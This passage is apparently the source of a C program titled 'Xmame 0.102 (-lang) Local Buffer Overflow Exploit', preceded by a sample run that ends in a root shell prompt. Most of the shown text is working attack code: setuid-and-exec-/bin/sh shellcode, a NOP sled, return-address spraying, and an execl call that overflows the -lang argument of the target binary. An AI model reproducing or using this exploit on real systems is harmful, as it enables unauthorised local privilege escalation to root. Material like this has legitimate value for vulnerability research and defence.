e.g:

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 1057
#define NS 600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

if(argc < 2 || argc != 2)
{
fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
return(0);
}

fprintf(stdout,"**************************************************\n");
fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
fprintf(stdout,"Coded BY Qnix\n");
fprintf(stdout,"**************************************************\n\n");
fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout,"\t(~) Offset from ESP : 0x%x\n", offset);
fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(BUFSIZE);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < BUFSIZE; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < NS; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + NS;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[BUFSIZE-1] = 0;

execl(argv[1], "xmame.x11", "-lang", buffer, 0);

free(buffer);

return(0);